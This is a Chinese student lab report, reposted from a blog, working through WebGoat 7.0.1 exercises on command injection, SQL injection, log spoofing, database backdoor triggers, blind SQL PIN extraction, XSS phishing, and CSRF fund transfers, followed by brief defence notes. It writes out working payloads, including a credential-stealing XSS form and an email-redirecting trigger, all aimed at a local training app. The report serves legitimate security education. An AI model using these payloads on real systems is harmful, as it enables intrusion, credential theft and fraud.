Exp9 Web安全基础
Exp9 Web安全基礎
?Injection Flaws攻擊
- 命令注入(Command Injection)
- 數字型SQL注入(Numeric SQL Injection)
- 日志欺騙(Log Spoofing)
- stage1?SQL Injection?
- 字符串型注入(String SQL Injection)
- 數據庫后門(Database Backdoors)
- 數字型盲注入(Blind Numeric SQL Injection)
XSS攻擊
- Phishing with XSS?
- Stored XSS Attacks?
- Reflected XSS Attacks?
CSRF攻擊
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
?1.實踐過程記錄
?安裝jdk和webgoat
卸載原jdk,更換jdk版本為1.8,通過java -version檢測
下載webgoat-container-7.0.1-war-exec.jar文件
使用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 進程號終止占用8080端口的進程。
在含有“webgoat-container-7.0.1-war-exec.jar”文件的目錄下執行java -jar webgoat-container-7.0.1-war-exec.jar
在瀏覽器中輸入“http://localhost:8080/WebGoat”,進入頁面后,使用提供的用戶名密碼登錄;
?
?
Injection Flaws攻擊
1.命令注入(Command Injection)
點擊 Injection Flaws -> Command Injection
右鍵點擊復選框,選擇inspect Element。對源代碼進行修改,在"helpfile"后添加"& netstat -an & ipconfig"。
?點擊view,查看命令執行結果
?
?
2.數字型SQL注入(Numeric SQL Injection)
點擊?Injection Flaws -> Numeric SQL Injectio
右鍵點擊復選框,選擇inspect Element。對源代碼value="101"修改,在101后面添加or 1=1。
?
?點擊Go,攻擊成功
?
3.日志欺騙(Log Spoofing)
點擊Injection Flaws -> Log Spoofing
在User Name中輸入webgoat%0d%0aLogin Succeeded for username: admin
輸入密碼后點擊Login,可以看到webgoat在Login Fail上一行,自己添加的語句在下一行,攻擊成功
?
4.?stage1?SQL Injection?
點擊Injection Flaws -> LAB stage1 :String SQL Injection
在密碼框輸入' or 1=1 --,登錄失敗,發現密碼輸入長度有限制。
密碼框右鍵選擇inspect Element對長度進行修改maxlength=20。
?重新輸入' or 1=1 --,攻擊成功
?
5.字符串型注入(String SQL Injection)
點擊Injection Flaws?-> String SQL Injection
輸入' or 1=1--,即插入永真式1=1,且--注釋掉后面的內容,select表中所有數據
?
?
6.數據庫后門(Database Backdoors)
?點擊Injection Flaws -> Database Backdoors
?
?輸入101,獲得用戶信息
?
?輸入101; update employee set salary=10000
創建觸發器,觸發器在創建新用戶時,將新用戶的Email 地址設置為攻擊者的地址。?
101;CREATE TRIGGER 1BackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE
employee SET email='chm@sohu.com' WHERE userid = NEW.userid
?
7.數字型盲注入(Blind Numeric SQL Injection)
點擊Injection Flaws ->Blind Numeric SQL Injection
有些SQL注入只能通過條件的“真”和“假”進行判斷,即頁面提示有效或無效。
但也可以利用系統后臺在用的查詢語句:SELECT * FROM user_data?WHERE userid=accountNumber;求pin值
輸入查詢語句返回了帳號的信息,頁面將提示帳號有效,否則提示無效。
輸入101 ,頁面返回Account number is valid,頁面將提示帳號有效
?
利用AND函數,并上查詢條件,若條件為真,則返回結果應提示帳號有效,否則無效
輸入可以判斷PIN數值是否大于3000的語句,101 AND ((SELECT pin FROM pins
WHEREcc_number='1111222233334444') > 10000 );
如果頁面提示帳號有效,說明PIN>3000 否則 PIN<=3000
?
利用二分法,不斷嘗試最終求出PIN 的值。最終如下語句返回帳號有效:101 AND ((SELECT pin FROM pins
WHEREcc_number='1111222233334444') = 2364 );
?
?
?
XSS攻擊
1.Phishing with XSS?
?
利用xss和html注入制作一個釣魚網站
?
在搜索框中輸入XSS攻擊代碼,在已存在的頁面中進一步添加元素。XSS攻擊代碼如下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>在搜索框中輸入攻擊代碼后點擊搜索,出現要輸入用戶名密碼的表單
輸入用戶名密碼,點擊登錄,WebGoat顯示攻擊成功
?
2.Stored XSS Attacks?
創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容,
在message中輸入<script>alert("lxm attack succeed!");</script>,提交
?
?提交后,再次點擊剛剛創建的123帖子,成功彈出窗口,說明攻擊成功:
?
3.Reflected XSS Attacks?
?
?這個實驗和存儲型XSS實驗效果相同,但存儲型XSS攻擊代碼是存儲在服務器中,反射型XSS攻擊需要用戶自己去點擊鏈接才能觸發XSS代碼。
?
將帶有攻擊性的URL作為輸入源,輸入<script>alert("attack succeed!");</script>,點擊purchase;
?
?
?
CSRF攻擊
1.Cross Site Request Forgery(CSRF)
寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,以圖片的的形式將URL放進Message框,當用戶點擊圖片,就會觸發CSRF。
在message框中輸入代碼<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4000"/>
Screen=325&menu=900在右側可見
提交后,消息顯示轉走用戶4000元,實現CSRF攻擊。
?
?
2.CSRF Prompt By-Pass
在message中寫入以下兩行攻擊代碼
<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
構造CSRF攻擊,包括了兩個請求,轉賬請求和確認轉賬成功請求,傳遞兩個參數給服務器
transferFunds=5000,transferFunds=CONFIRM
攻擊成功
?
?
2.回答問題
(1)SQL注入攻擊原理,如何防御
原理:通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。
如何防御:對代碼進行處理,使用正則表達式過濾傳入的參數,對一些包含sql注入的關鍵字進行過濾;采用字符串過濾;jsp中調用該函數檢查是否包含非法字符。
(2)XSS攻擊的原理,如何防御
原理:代碼注入,XSS攻擊允許惡意用戶將代碼注入到網頁上,并能夠被瀏覽器成功的執行,獲取目標攻擊網站cookie,使其他用戶受到影響。
如何防御:在表單提交或者url參數傳遞前,對需要的參數進行過濾;檢查用戶輸入的內容中是否有非法內容。
(3)CSRF攻擊原理,如何防御
原理:CSRF是借用用戶的身份,向web server發送請求,跨站請求偽造。
如何防御:輸入驗證碼來檢測用戶;設定cookie域。
?3.實驗總結與體會
?通過本次實驗,了解了SQL注入攻擊,XSS攻擊和CSRF的基本原理和操作。在webgoat上的簡單注入,修改代碼的練習,增加了我對三種攻擊方式的理解,
?提高了安全意識。
?
轉載于:https://www.cnblogs.com/chm666/p/10923220.html
總結
以上是生活随笔為你收集整理的Exp9 Web安全基础的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ORACLE 字符串函数用法(转载)
- 下一篇: linux command find